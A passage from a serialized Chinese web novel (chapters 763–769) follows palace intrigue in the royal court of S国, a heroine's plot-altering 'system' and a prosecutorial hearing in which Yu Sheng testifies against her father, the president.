李儒脸色微变,不动声色地打量白密,“你是冲着沈归灵来的?” 这里是S国,白密能知道沈归灵的行踪这点他并不意外。不过,为了沈归灵直接砸了李家的大门,这就有些说不过去了。 白密也不藏着,抬眸环顾四周,“我听说沈归灵来S国接他这废物哥哥回家,他人呢?叫出来我见见。” “殿下来晚了,沈归灵昨夜已经回去了。”沈归灵是李家大业重要的棋子,李儒一时拿不准白密是什么意思,自然不敢交人。 这些老狐狸嘴里没一句实话。沈归灵要这么轻易就走了,沈家那个傻帽哪至于费那么大力气给他传信? 白密淡淡抬眸,略带警告,“李儒,沈归灵让我们王室蒙羞,这笔账我怎么都要讨回来。你要识相的话,赶紧把人交出来,否则,别怪我不客气。” 李儒拄着麒麟拐杖,丝毫没有退让的意思。 “看在家陛下和长公主的面子上,我才没有跟你一般见识。若你继续胡搅蛮缠,那就别怪我没给你机会了。” “嘟——” 就在这时,庄园外传来一声沉稳的引擎声。 只见一名穿着宫廷标准制服的中年男人,在一队皇家卫兵的护卫下,目不斜视地走进了一片狼藉的主厅。他对满地的狼藉和剑拔弩张的场面视若无睹,径直走到白密面前,深深一躬。 “殿下,长公主殿下要见您,请您即刻前往。”侍从官的声音平稳却不容置疑。 时机精准得一分不差。 白密忽然想到什么,眯眼打量李儒,“你联系了我的母亲?” 李儒此刻才微微抬起眼皮,迎上白密的目光,苍老的脸上露出一丝极淡的冷意,“按道理,这个时候殿下应该还在围猎场。现在出现在这里,实在是不合时宜。女王陛下最厌恶的就是战场逃兵,殿下还是赶快想清楚怎么跟您的母亲解释吧?” 白密眼神阴鸷地在主厅里扫了几个来回,不知想到什么,忽然笑了笑,“行!你给我等着!”说完,他不再看任何人,极其潇洒地转身离去。 侍从官双手合十向李儒致意,大步跟了上去。 李儒看着白密的身影,眼里闪过一抹杀意。 出了城堡,侍从官立马追了上来,“殿下,您这次真是太鲁莽了,夫人很生气。” 白密只当没听见,上了车直接道,“去王宫。” 他原本还想在沈归灵面前耍耍威风,让他对自己感激涕零。既然李家这么不上道,那他就只能把这个机会让给凶残的老太太了。 她老人家可不会像他这么好说话。 …… 第764章 孙控,骑士团团长 白密在白家众王子中还算受宠,从宫门到大殿一路畅通无阻。 侍女官帕塔妮守在女王的寝殿外,远远见白密过来,立马迎了上去。 “殿下,陛下正在祭拜,还请殿下稍候。” 不年不节的,怎么烧起香来了?老太太可不是敬重神明的人。 白密安静退至门外守着,连同脸上那副嚣张跋扈的神情也收敛了不少。白家王族子嗣众多,白密能得女王偏爱,除了那双神似白普大帝的眼睛外,还因他会看人下菜碟。 暴孙在暴奶面前,乖巧得不行。 转眼就过去了半个小时,殿内依旧没有动静。 白密不觉有些愣神,往殿门方向看去。终于,就在他耐心即将告罄时,殿内传来一声浑厚的钟音。 前一秒还眼观鼻、鼻观心的帕塔妮立马有了反应,对着白密深鞠一躬,“殿下请。” 白密低头整理衣襟,确认没有任何失礼之处后,深吸了一口气,大步进了主殿。 殿内,白朱拉穿着一身优雅的紫色丝绸传统服饰,手持一把纯金长柄勺,正耐心地给一盆罕见的兰花浇水。她身姿依旧挺拔,动作舒缓而稳定,丝毫不见老态龙钟。 一旁侍立的女官见到白密,无声地屈膝行礼。 白密没由来有些心虚,恭敬行礼,“陛下。” 白朱拉没有立刻回头,直至将最后一勺水轻轻浇下,才将金勺递给旁边的女官,拿起洁白的丝巾慢条斯理地擦了擦手,“你们先出去。” 侍女们再次行礼,小心退出了殿外。 白密一直保持着行礼的姿势,直到听见殿门关闭的声音,才小心翼翼抬头打量白朱拉,“圣君奶奶?” 白朱拉转身,拿起手里的黄金勺对着白密的脑门就是一个暴扣。 “?” 白密不防,当场被打懵跌倒在地,额头肉眼可见地鼓起了一个小山包。 “你好大的胆子!擅自逃离围猎战场不说,竟然还跑到李家的老宅杀人放火?!你真以为李儒会怕你?” 白密捂着额头的包,“我才从老东西那儿过来,您怎么知道我去了李宅?那老不死的嘴够快的!” 见白朱拉一脸嫌弃,白密当即反应过来,有些不服气,“陛下,李儒那老东西仗着自己一把年纪,一直在背地里跟您作对。要不是他联合老派贵族上书,就凭白冽那个小白脸,也配和舅舅坐一样的位置?” 白朱拉并不好糊弄,抬手又是一个暴扣,“少扯他,我现在问的是你。” 白密疼得龇牙咧嘴,却不敢喊疼。因为按照以往的经验,叫得越响,打得越狠。 “陛下!”他捂着两个对称的包,说话都跟倒豆子似的,“我收到消息,沈年把沈归灵带去了李宅。李儒那个老狐狸一肚子坏水,我……我还不是怕舅舅绝后,才赶去李家要人的!” “你是说,你放弃军功不要,冒着得罪李家的风险,是为了阿灵?”白朱拉眼神微眯,一脸审视。 阿灵? 还没回来就叫得这么亲热?! 白密生怕又挨一爆扣,爬出三米远,老老实实跪好,“我可是为了圣君奶奶!您不是还一直等着沈归灵回来吗?万一被李儒那个老匹夫害了,他可就回不来了!” 白朱拉盯着他足足看了一分钟,却还是有些不敢相信,“你什么时候变得这么热心肠了?” “……”白密突然被灵魂暴击,自己也愣住了。对啊?他什么时候这么热心肠了? 沈归灵要是归国,必定是王储第一人选,到时候就算是他的母亲也要靠边站。按理,他应该巴不得沈归灵死才对。 忽然的沉默让气氛有些诡异。白密瞟了白朱拉一眼,“有……有什么不对吗?” 白朱拉扔了金勺,转身回到自己的王座,“当然不对。白家人从不热心肠。” 白普大帝为了巩固王位,杀了同胞十六人;白朱拉为了坐稳宝座,亲手毒死了自己的丈夫。白家人似乎天生对亲情淡薄,眼里只有权势名利,否则也不会被世人冠以“疯批家族”的名号。 白密也察觉到了自己的‘不对劲’,一脸严肃地摸了摸下巴。难道是沈家那个缺心眼的给他施展了什么邪术? 可他也没觉得哪里不舒服啊? 白密暂时压下心里的疑惑,望着宝座上的女王,“圣君奶奶,那您救还是不救啊?” 白朱拉,“他若真废到需要我出手,就不值得我如此期待了。” 果然很圣君,对谁都是铁石心肠。 “不过……” 白密正准备起身告辞,冷不丁发现还有下文,又跪了回去。 白朱拉看着他头顶的两个包,沉默片刻才道,“这件事你不用掺和了,我自有主张。阿灵虽然不需要白家人救,但朕绝不允许小冕和兰媞雅用生命护住的孩子,在家族王旗下受辱。” “……” 小冕? 白密忽然想到母亲时常抱怨的一句话:女王这一生为数不多的温情都给了白冕亲王一人。亲王死了,女王才有丧子之痛;他们这些人死了,顶多就是一段人生经历。 白峥就是最好的例子。 白密的表情一言难尽,“听您的意思,您早就知道沈归灵来了S国?” 白朱拉看了白密一眼,没有接话。 她岂止是知道,她是完全掌控。当初说什么让沈归灵在A国历练,也不过是为了诓骗白密。实则,她早就在沈归灵身边安排了最顶级的护卫团,只要沈归灵有生命危险,那些人就会自动现身。 现在那边安然无恙,说明一切都还在那个孩子的掌控中。 白密察觉到了女王的不对劲,眼神小心翼翼,“陛下,您好像一点都不担心沈归灵会出事?您在他身边安插了人?” 小兔崽子,还挺有点脑子。 白密见状立马嚎了起来,“您给他配亲卫了?!” 如果不是亲卫,女王不是这个表情。 白朱拉微微皱眉,颇有威严,“嚷什么?” 白密捂着嘴,愤愤不平! 在S国,只有王室里的亲王才有亲卫团,就连他的母亲都没有。 但这还不是最可气的,最可气的是,作为白家人,他们自小接受的教育就是自己从权利中站起来。他之前差点被活埋,也不见女王派兵救援,还是他自己坚持不懈刨了三天三夜把自己救出来的。 原以为女王出面教育李儒就算另眼相待了,没想到老太太直接给了沈归灵一个亲卫团。 “小丑就是自己”这句话在他身上表现得淋漓尽致。 白密站起身,懒洋洋行了一礼,“没什么事,我就先告退了。” “急什么?” 白密梗着脖子,“您还有什么吩咐?” 白朱拉捏了捏眉心,“你通过了教堂试验,奖赏还没拿。” 白密挑了挑眉,打一棒子给个甜枣,训狗呢? 白朱拉指了指兰花架上的宝石盒子,“原本还不知道给谁,既然你来了,就当做给你通过试验的奖赏吧。” 白密转头看向盒子,犹豫片刻上前捧起,略带疑惑地看了白朱拉一眼后,顺手揭开宝盒。 他原本还有些漫不经心,但在看见里面的骑士勋章时,脸色瞬间凝固。勋章上刻着两柄交叉的骑士宝剑,上面一红一蓝两颗宝石甚是耀眼。 在S国,亲王与亲卫骑士团团长的羁绊远甚于手足。手足或许会趁你虚弱时要你的命,但骑士团长却是能站在亲王背后的人。 白朱拉的声音从高处传来,“阿灵的亲卫团还差个团长,这个人选我一直拿不定主意。既然你来了,就给你吧……” …… 第765章 相爱相杀 白密大闹李宅后,李儒当即加强了老宅防守。未免夜长梦多,又吩咐沈年准备回国事宜。 沈年莫名其妙被白密揍了一顿,心气不顺,这笔账自然就算到了沈归灵头上,暗暗在心中谋划,等回到他的地盘,必定要让沈归灵好看。 与此同时,距离李宅一百二十米开外。 高止蹲在一棵枝繁叶茂的大树树干上,一手拿着笔,一手拿着本子,正在认真做笔录。 -【沈归灵被关半个月后转移目的地,与李家家主会见,一群人在屋里叽里咕噜说了些什么,随后一群沈家老东西垂头丧气从屋里出来。】 -【沈归灵、沈年、沈澈三人仍在李宅密谋。】 -【白密杀进李家,殴打沈年,怒扇李儒,最后挥一挥衣袖没有带走一片云彩。】 记好这些,他又举起挂在脖子上的望远镜,对着李家老宅的庭院扫视了一圈,继续写道: -【密谋完了,沈年带着沈归灵转移目的地。】 哼,沈归灵果然有问题!!! 高止看着自己记录的厚厚一沓笔录,心想这次肯定会赚到菜鸡少爷破产。 * 鲸港,兰园。 沈兰晞单手支颐,神情淡淡地看着手机里的视频。 他将直播的整个过程都拷贝下来了,反复观看了不下十遍,几乎可以百分百确认第一次在黑暗中演讲的‘余笙’和后来露面的余笙并不是同一个人。 从哪里开始交换的? 沈兰晞指尖点着屏幕,一帧一帧拖移,直到画面出现光影重合才松开手。 正当他准备找出破绽时—— “叮咚——叮咚——叮叮叮——咚咚咚——” 手机屏幕不时弹跳出对话框,到后来,频率高到对话框直接定格。 “……”沈兰晞沉默了片刻,拿起手机回拨了过去,“查到什么了?” 高止的声音神秘又兴奋,“少爷,我找到沈归灵图谋不轨的证据了!你看到我发给你的图片没?” 沈兰晞微愣,点开手机屏幕,当看见高止发了三百多张现场图片时,整个人都沉默了。 “少爷,你快看啊,绝对的一手劲爆消息!” 沈兰晞捏了捏眉心,点开大图。猝不及防地,一张高止坐在大树乘凉比耶的自拍照映入眼帘。 “……”沈兰晞沉默了几秒,耐着性子连续滑了几张。照片里高止一张比一张生动,一会儿抓鱼一会儿喂鹰,唯一不变的就是标准的剪刀手。 “少爷,怎么样?是不是很劲爆?” 沈兰晞,“你看看你发了什么?” 没一会儿,高止那边传出了鹅叫般的惊呼。沈兰晞闭了闭眼睛,把手机拿开半米远。 “对不住啊少爷,我发错文件包了,那是我的自拍合集。你等等,我重新发。” “叮咚——” 消息界面再次弹出,这次显示只有三十张图片。 沈兰晞懒得跟他一般见识,点开图片一张张浏览。当看见沈归灵被沈年的人群殴、却趴在地上笑时,他指尖忽然顿住。 照片里的沈归灵是他从未见过的模样,一双肆意的瑞凤眼神采飞扬,即便被沈年的人按着压在地上,嘴角的笑也带着锋利的挑衅。 “看来沈年让他吃了不少苦头。” 高止,“可不是!沈年就是个变态,每天就让人围殴沈归灵,不打趴不罢手。” 沈兰晞没有接话,继续翻看。浏览完所有图片后,淡淡道,“沈家族人怎么会出现在李儒的宅子里?” 高止,“时间太短,李家的安防暂时没有攻克,具体他们密谋了什么目前并不清楚。但是少爷,有一点可以肯定,这些人绝对没安好心。那些沈家族人走的时候还在骂老爷子。” “不是说无法监测,你怎么知道他们在骂老爷子?” “实不相瞒,我会一点唇语。别的长句看不明白,但老爷子的名字和那些骂人的话我还是很有把握的。” 沈兰晞直接跳过这个问题,“沈年既然折磨沈归灵,为什么又要带他去李家?他们是什么关系?” 高止,“相爱相杀。” 沈兰晞,“好好说话。” “……”老古董。高止在心里默默嗤了一声,解释道,“少爷,以我的观察,沈年和沈归灵应该不是第一次见面,或者说,他们是老相识了。沈年嫉妒沈归灵,但又认可他的能力,这就叫相爱相杀。 就像少爷您一样,您虽然不喜欢沈归灵,但沈归灵是您为数不多费尽心思也要战胜的人,您和沈归灵也是相爱相杀。” “嘟——” 沈兰晞面无表情挂了电话,正准备起身图个清净,忽然眼神一滞。 视频的画面不知为何突然停在了光影交汇的前一秒。 那道轮廓虽然朦胧不清,但他还是一眼就认出来了。 …… 第766章 名场面桂冠 直播结束后,虽然各端的剧目都推进了不少剧情,但其实距离余笙的那场盛大自救只过去了六个小时。 姜花衫打着与画展资方会谈的理由一大早就出了门。余笙暴露地点后,为防止被抓现场,她火急火燎地撤退,回到菊园时感觉半条命都要废了。 -【叮——】 -【警告:由于创作者无端介入剧情,导致主线剧情出现重大失误,现已启动书灵修复程序。】 姜花衫刚给自己倒了杯水,冷不丁听见熟悉的机械音,吓得差点把喝进去的水喷出去。 不是吧,又来! 之前她好不容易把主线剧情歪曲到了73%,在襄英老宅时,剧情突然自动修复回归到63%,那件事她还没弄清是哪里出了问题,现在又来一次?! 姜花衫撸起袖子,叉腰闭眼,正准备进去跟“剧目”老贼拼了,忽然耳边再次响起冷漠的机械音: -【警告:当前条件不允许修改,书灵修复失败。当前主线偏离进度+15%,偏离值:80%】 还可以失败?! 姜花衫倏地一下瞪大了眼睛。 -【提示:偏移值达到百分之八十,创作者权益被激活。】 -【灵魂因不屈而伟大,躯体可囚于方寸,其光必耀于星河,点燃后来者的长夜。剧目为不朽灵魂让步,恭喜当前人物姜花衫激活创作者权益,获得‘名场面桂冠’。】 -【名场面桂冠:热血澎湃的名场面可撕碎一切剧目,由创作者共创且标记名场面剧情,书灵禁止改写。】 -【提示:并非所有剧目都可标记为名场面,以下三点完成一项,即可标记:高光时刻、情感暴击、人物弧光达到顶点。】 -【检测到余笙直播剧目达到名场面要求——人物弧光达到顶点,是否标记?】 创作者权益?名场面桂冠? 还没等她消化完这些信息,另一记重磅又砸了过来! 今天是怎么了?撞大运了? 姜花衫赶紧在心里默认:“标记。” -【现已为您标记余笙直播剧目,请创作者输入章节标题。】 以往的章节标题都是“剧目之门”根据剧情自动生成,现在竟然让她自由发挥? 姜花衫立马意识到这是一个史无前例的开拓点,不由坐直了身体。她认真想了想,脑子里浮现出一句话。 -【生成完毕,第755章:爱一旦变质,舍便舍了。作者:姜花衫。】 “……” 等了一会儿,确认不会再有任何提示音后,姜花衫慢慢躺了回去。 她不知道如果换作别人,会怎么看待这个创作者权益,但于她而言,忽然有些不安。 剧目规则曾一再提醒,主线偏离90%,剧目世界将毁于一旦。依照常规逻辑,她和剧目作对,剧目应该要想办法抹除她才对,为什么却在临近崩溃的节点给了她一个近乎神迹的金手指?这一切都显得那么不真实。 难道是剧目主线偏离到90%之后,还有什么隐藏剧目? “该不会后面才有个大雷等着我吧?” 姜花衫望着头顶的绿叶,不觉又想到了上一世…… “衫衫。” 忽然,有人轻轻推了推她的肩膀。姜花衫只觉眼前晃过层层光影,眼睛一眨又回到了现实。 “枝枝?” 沈眠枝微微蹙眉,带着几分困惑看向头顶的花架,“看什么呢?” 她从进院子便和姜花衫打招呼,但姜花衫不知道在想什么,眼神放空,怎么喊都没有回应。 “没看什么。”姜花衫笑了笑,扶着椅子坐了起来,“你怎么来了?” 沈眠枝拉过竹椅坐下,从口袋里掏出一支录音笔,“喏。” 姜花衫微愣,看了她一眼接过手把玩,“这是什么?” “傅潇潇的笔录。” “傅潇潇?”姜花衫已经许久没有听到这个名字了,不免有些惊讶。 “我派人调查了胡萌的口供,她供出了傅潇潇。但这件事就更加诡异了,傅潇潇不过是个跋扈纨绔,她怎么会跟海匪有牵连?我总觉得这件事没那么简单。” 姜花衫了然,“所以你就绑了傅潇潇,那她招了吗?” 沈眠枝点头,“她提到了一个叫‘利维坦’的联盟。另外,她还透露,阿杰哥曾经去过东湾,是阿杰哥带她进的联盟。” 姜花衫早就知道沈亦杰是鬼,只是没想到,这个‘利维坦’同盟竟然联合了这么多与沈家有过节的人,看样子图谋不小。 沈眠枝原本就是想提醒姜花衫,见目的达到,便站起身,“我走了,今天出了这么大的事,我还得去医院看看。” 姜花衫笑了笑,“扑克的事,谢谢你。” 沈眠枝忽然想到什么,侧身看着她,“余笙已经被警署厅的人带走了,余斯文请求探视但被她拒绝了。这件事既然司法已经介入了,歌剧院袭击事件也一定会追责。” 她这是在提醒姜花衫,万一余笙顶不住压力,恩将仇报,这件事就麻烦了。 姜花衫并不在意,“就算真是这样,那就上一课吧。” 她从策划这件事开始,就没有想过“万一”。人性是不可赌的,而她,也不会傻到把自己的决策赌在余笙身上。 在她的计划里,第一目的是揭露余斯文,让余家早四年下台。若余笙自愿抓住命运的缰绳,她很乐意拉她一把。当然,就算余笙中途退缩,她也做好了万全准备,不达目的誓不罢休。 沈眠枝是聪明人,见姜花衫眼里没有丝毫担忧,便知道她还有后招。 但这个时候,她知道越多隐患越大,沈眠枝并未多问,只说了一句“小心”便出了菊园。 张茹听见动静,立马从厨房跑了出来,“小姐,眠枝小姐怎么走了?这都到饭点了,您怎么也不留她一块吃饭?” 姜花衫把玩着录音笔,缓缓起身,“她啊,这会儿估计没空。” “这……”张茹搓了搓手,一副欲言又止的模样。 姜花衫皱眉,“怎么了?” 张茹左右看了看,支支吾吾,“小姐,您是不是和枝枝小姐闹别扭了?” “没有啊。”姜花衫想也不想,回得极快,“闹别扭了她还能上门来跟我说话?” 张茹轻咳了一声,“没有就好,没有就好。我瞧着枝枝小姐跟您说话冷淡了许多,这一个月也不常来了,还以为……” “还以为什么?” “没什么!都怪我,听着那些人闲言碎语想歪了,小姐您别在意。” 姜花衫转身看向张茹,“闲言碎语?他们说什么?” 张茹见姜花衫脸色变严肃,赶紧解释,“听春园里的管事阿姨说,枝枝小姐现在每天都围着周家少爷转,跟被夺了魂似的。前几日,还因为周家少爷和沈五爷大吵了一架。我是过来人,瞧过情窦初开的小姑娘因为恋爱疏离同伴的事,我这不担心枝枝小姐也……” 姜花衫眉头紧蹙,“枝枝和五叔大吵了一架?什么时候的事?” …… 第767章 老司机,带带我 前几日,沈让因为实在受不了沈眠枝二十四小时围着周宴珩转,难得一次强势提出让沈眠枝去南湾监察暗卫,但沈眠枝却不愿意,还因为他说了周宴珩几句不好和他大吵大闹。 沈让从未见过这样的沈眠枝,不免有些伤心,说了几句重话,两人因此不欢而散。 事后,沈让后悔不已。从小到大,女儿喜欢什么他都尽可能满足,怎么到了周宴珩这,就不行了?思来想去,沈让愈发坐不住,只得拉下脸面主动去春园求和,不想刚进院子,就被阿姨告知沈眠枝又去了医院。 沈让无奈,只能跟着去了医院,但不知道在医院发生了什么,回来后父女俩爆发了一次更激烈的争吵,沈眠枝更是激进,当着沈让的面摔门而出。 “那日春园的动静大,根本掩藏不住,听说后来老爷子还特意差人来问,五爷亲自去了一趟沁园,这事才压下去的。” 竟然还有这种事? 姜花衫低头看着手里的录音笔,心里五味杂陈。 她这几天忙着策划直播的事,一天到晚往外跑,好不容易回来也是倒头就睡,根本没有时间关心沈眠枝。 她知道沈眠枝想做什么,要想骗过剧目,就要骗过身边所有人,但这条路曲折,心智不坚者寸步难行,因为真真假假,最怕最后连自己都骗过去了。 张茹说这事并非嘴碎,只不过这几年她亲眼见证了三位小姐是如何一步步走来的,她并不希望这份纯粹的友谊被破坏,才多嘴提醒了一句。但见姜花衫脸色难看,她不免有些自责,“小姐,我是不是话太多了?” 姜花衫摇头,“没有。” 两人正说着话,忽然院外传来铜环的叩击声。 姜花衫转头看去,眸光微愣。 夏日的黄昏,暮色如同打翻的橙汁,沈兰晞就站在爬满苍翠藤蔓的院门外,五官在斜阳的勾勒下显得深邃立体,仿佛一尊被落日精心雕琢的玉像。 “可以进来吗?” 姜花衫,“不可以。” 沈兰晞只当没听见,掀眸看了她一眼,径直向她走来。 他的身后是渐次沉落的夕阳和漫天铺陈的云锦。不知道是不是落日太美的缘故,姜花衫竟在沈兰晞的眉眼里看到了温柔的痕迹。 她暗骂了一声活见鬼,刚回过神又撞入那双深不见底的眼眸里。 “……” 张茹极有眼色,赶紧指了指厨房,“汤马上就好了,我去看看。” 说完,没有一秒迟疑,转身就窜进了厨房。 姜花衫被他看得浑身不自在,状似不经意地把玩着手里的录音笔,“你找我有事?” 沈兰晞点头,拉过一旁的竹椅坐下,“余笙的直播案你看过了?” 姜花衫皱眉,一脸防备,“昂,怎么了?” 沈兰晞,“余笙控诉余斯文一案司法已经介入,她请求了庭外支援,沈家公益援助会接下了这个案子。” 姜花衫愣了愣,这个消息倒是完全出乎她的意料,一时没忍住,拉着椅子坐了回去。 “爷爷同意了?” 一年前,沈娇为了给她造势,以她的名义建立了多个慈善援助基金会,其中就有为弱势群体提供法律援助的项目。但这么大的案子,若非没有沈家点头,那些律师团断然是不敢接的。 沈兰晞,“爷爷说,余笙走的是合法程序且符合援助条件,沈家没有理由拒绝。” 对于沈庄的品性,姜花衫从未质疑过。若灯塔不正,又怎么能引导追寻他的人向上呢?她好奇的是沈兰晞的态度。以往这种事,沈兰晞都是高高在上让她别掺和,现在故意走到她面前来显摆,什么道理? 难道这家伙发现了什么? 沈兰晞状似对姜花衫的审视一无所知,继续道,“律师团队半个小时后会去警署厅和余笙见面。这件事关乎叛国重罪,全A国的公民都擦亮眼睛盯着,爷爷不放心,让我负责调度。” 姜花衫瘪了瘪嘴,小声道,“臭显摆什么?” “……”沈兰晞沉默片刻,淡淡道,“我来是想问你,要不要跟我一块去?” “!?” 姜花衫第一次觉得自己结论下早了,不可置信地扭动脖子,上下打量沈兰晞,“你说……什么?” 她的目光清澈至极,不管是惊讶还是狐疑,在她脸上都生机勃勃。 沈兰晞看着她眼中的自己,忽然被烫了一下,不动声色地看向一旁的小乌龟,“爷爷一直夸你聪明机智有大局观,这件事如果处理不好,沈家极易落下口实。所以,我觉得有你在,多个人商量也不错。” 他不善说褒奖人的话,说话的时候表情极度僵硬。 姜花衫的表情一言难尽。 聪明机智有大局观? 她是真没想到,有一天能从沈兰晞这个冰碴坨子嘴里听到夸奖自己的话,这家伙不是一直以为她是个脑子不正常的癫婆子吗? 两个人沉默得震耳欲聋。 沈兰晞见她久久没有接话,眸光又转了回去,“你不愿意?” “不!愿意!”姜花衫一秒回身,侧过身十分和蔼地拍了拍沈兰晞的肩膀,“既然你不耻下问上门求教,作为老司机,我就……带带你。” 沈兰晞,“……” …… 第768章 星星一样的人 余笙被收监后,检察院按流程申请取证,对此余笙表现得十分淡定,提出要在律师陪同之下接受调查。 沈家委任的律师团队还是老熟人,因着东家有交代,陈律师特意在候审厅等候会面。 他原以为沈家碍于社会责任不好推脱余笙的求助,这次负责人一定会是无关紧要的闲职人员。当看见沈兰晞和姜花衫同时出现在大厅,神色一怔,赶紧放下手里的活迎了上去。 “沈少爷,姜小姐。” 姜花衫一副老司机的做派,不等沈兰晞开口,摆摆手道:“陈律师,怎么就只有你一个人?” 陈律师答:“我是委任律师,今天不过是庭前问话,我先来整理些资料。” 察言观色是律师必备技能之一。姜花衫和沈兰晞是什么身份?这尊大佛亲自督办,足见沈家重视,故而陈律师也不敢显出些许怠慢。 沈兰晞再次准备张口,姜花衫又捷足先登:“检察院的人呢?都来了谁啊?” “……”沈兰晞看了她一眼,默默把嘴闭上。他不过是想找个借口和姜花衫单独相处,但姜花衫一门心思都在案子上。 观察入微是律师的必备技能之二。沈兰晞细微的顺从并未逃过陈律师的眼睛,他立马分清了大小王,面向姜花衫道:“这次检察院一共来了两个人,一个是高级检察官孙振,还有一个是特别调查部检察官邓承宪。这个邓承宪虽然是孙振的副手,但也拥有独立调查和汇报的权力。” 姜花衫摊手:“那两人的资料呢?” 陈律师之前已经见识过这位姜小姐的过人之处,丝毫没有觉得有什么不妥,屁颠屁颠将准备好的资料递给姜花衫。 在司法介入之前,这里面的门道还有许多。首先如何立案尤其关键,而这立案关键就在于今天的取证环节。 水至清则无鱼,A国总统背后牵扯的利益盘根错节,这些人免不了会因为个人利益妨碍司法公正。所以,摸清今天来的两个检察官身份也格外重要。 姜花衫拿过资料,看了一眼顺手扔给沈兰晞,“你看看,待会要考。” “……”沈兰晞一听说要考,拿过文件转身走到一旁的座椅上,认真查阅起来。 陈律师见沈家太子爷都被她拿捏得乖巧听话,内心猛地被震撼,面对姜花衫的态度更加殷勤,有问必答。 大约过去十分钟,警署厅的工作人员进来通知,两位检察官已经到位,请律师进入候审室配合取证。 陈律师看了看时间,迅速整理好手里文件,“姜小姐,沈少爷,你们先在这稍候,我先进去了。” “等等。”姜花衫皱眉,“急什么?余笙求助的不是律师团队吗?你给我和他挂个职位,我们一起进去。” “这……” 沈兰晞愣了愣,抬眸看着姜花衫,总算说了一句话:“这不合规矩。” A国律法规定,取证环节只允许当事人、当事人律师团队以及检察官三方对证,闲杂人等一律不得入内。 陈律师也知道姜花衫艺高人胆大,捂着嘴巴小声劝道:“是啊姜小姐,你和沈少爷谁不认识?还没进去就穿帮了。” 姜花衫回头啧了沈兰晞一声,示意他闭嘴。 沈兰晞:“……” 姜花衫双手抱胸:“你们不是应该有实习证吗?我和沈少爷去自己家企业实习怎么了?别墨迹了,赶紧的。” 陈律师看了沈兰晞一眼,见他没有反对,立马从包里拿出两个律师牌。姜花衫正准备接,陈律师有些不放心,捏住挂牌不松手:“姜小姐,取证环节不过是第一步,您要是有什么不满意的跟我说,我来解决。” “放心吧。”姜花衫一把抢过挂牌,“我自己都能解决。” 说着,又将抢来的一个挂牌扔给沈兰晞。 “与其在这坐着等消息,不如进去看看里面是什么魑魅魍魉?规则是死的,人是活的,懂不懂?” 沈兰晞看着手里的律师牌,嘴角勾出一抹极浅的微笑。 他抬眸,疏离的瞳孔深处骤然裂开一道极细微的缝隙。他想也没想就将律师牌挂在脖子上,快步追上姜花衫。 “……”陈律师捂着扑通扑通跳个不停的小心脏,闭眼向上帝祷告。 * 为确保公平,初步取证环节设在了警署厅的独立会议室。会议室四方围坐,全程录影录像,门口还有大批警力巡逻。 此时,余笙和两位检察官已经就位。 眼看约定的时间就要到了,当事人律师还未到场,蔡严唯恐出纰漏,准备亲自去候审室找人。不想才走两步,就听见巡逻岗有争执声传来。 他赶紧加快脚步,冷声质问:“怎么回事?” 警卫员一脸愤慨:“署长,他们挂牌上没有贴照片,我告知他们不符合规矩,他们想硬闯。” 什么人吃了熊心豹子胆了? 蔡严端正势气,指着被阻拦的三人:“不合规矩的都给我滚出~~滚~~~进……进来!” 看见沈家两位活祖宗时,蔡严脸色骤变,挥斥方遒的手臂横空一转,做了个“请”的动作。 陈律师:“……” 警卫员一时没有反应过来:“可是署长,他们的证件……” “证证……证什么件,陈律师你不认识吗?赶紧的,里面人还等着呢!” 警卫员大概也知道两人又是哪里来的关系户,暗骂自己倒霉,闷闷放行。 姜花衫笑吟吟朝蔡严拱了拱手,蔡严清咳了一声,只当没看见,故意扬声道:“快进去吧,时间马上到了。” * 会议室的气氛针落可闻。两位检察官各不相干地在整理资料,余笙神情淡淡,看着脚下的地砖发呆。 陈律师领着两人入室,主动上前和余笙打招呼:“余小姐你好,我是护蕾法律援助的陈律师,也是你未来的辩护律师。” 余笙一秒回神,态度友善:“陈律师您好,我记得您。” 眼下不是寒暄的时候,他提着公文包,坐在余笙身边,神情严肃:“余小姐,待会就交给我了。” 余笙点了点头。 姜花衫拉着沈兰晞坐在陈律师身后,点了点他手里的文件:“待会你记得假装记笔录。”说着又指了指角落的监控,“蔡严睁一只眼闭一只眼是人情,我们也不能让他太难做,不是?” 沈兰晞看了看角落的监控,又看了看眼前的少女,心头微微荡起一丝涟漪。 到底是怎样的傲慢和偏见,才让他对星星一样的人视若无睹? …… 第769章 明晃晃的诬陷 门外,蔡严一直都在小心翼翼观察会议室的情况。眼瞅着怀表的时间越过正点,他立马大松了一口气,缓缓关上会议室的门。 落锁的声音仿佛是一种信号。门缝严丝合缝的瞬间,所有人都进入了自己的角色。 孙振年约五十岁,发型一丝不苟,戴着无框眼镜,看向余笙的眼神锐利而冷静。“余小姐,我是此次取证的高级检察官,我叫孙振,受A国最高法院委任,为你控诉余斯文卖空通敌一案做立案取证。 在取证之前,我必须严肃且明确地告知你,你有权保持沉默,但你所说的一切都将成为呈堂证供。你有权要求律师在场,并有权在任何你认为必要的时候中断问询,与你的律师进行沟通。你清楚了吗?” 他的声音平稳而冰冷,不带任何个人情感,如同在宣读一份早已设定好的程序。 “清楚。我的律师已经在此,我们可以开始了。”余笙微微颔首,姿态从容。 孙振点了点头,目光扫过陈律师,以及他身后那两个过分年轻且面生的“助理”。不知道为什么,他总觉得那两个年轻人有些眼熟,好像在哪里见过。 不过,眼下也不是计较这件事的时候。 孙振翻开面前的卷宗,“首先,我们需要确认一些基本事实。2025年8月28日早晨9点,你本人用非法手段入侵A国官媒信号,向最高检察厅实名举报你的父亲,也就是现任总统余斯文,涉嫌通过离岸账户进行非法资金转移,并与被制裁的境外势力有秘密往来,指控其‘卖空通敌’。你是否承认这份举报信由你本人签署并提交?” 余笙跟着余斯文这几年也学到了不少,眼前这个男人刻意加重“非法手段”四个字,显然是来者不善。 她点头,眼神锐利了几分,“我承认。” 孙振并未将余笙的愤怒放在眼里,直切入核心:“你提交的证据,包括数份银行流水截图、以及一份《补充协议》的复印件。请问这些证据的来源是……” 陈律师适时介入:“检察官先生,关于证据的具体来源和获取方式,涉及到我的当事人个人信息安全及可能的后续风险,在现阶段,我们建议……” 孙振略有不满,冷眼看向陈律师,“这里是警署厅总局,余小姐的安危已经不足为虑。检方需要知道证据渠道来源做补充证据。” 余笙:“我拒绝回答。司法若要取证,直接查明证据虚实更有效。” 孙振愣了愣,似乎是没想到余笙态度会如此果决。 当事人硬刚检察官,可不是好事。 “余小姐。”就在这时,一直沉默的邓承宪忽然轻笑一声,“余小姐,据我们了解,你与你父亲的关系近年来颇为紧张,尤其是在关于你婚姻选择的问题上存在重大分歧。你是否认为,这些家庭矛盾影响了你对某些信息的判断,或者说……提供证据的动机?” 男人的语气听着随意,却带着针尖般的锐利。 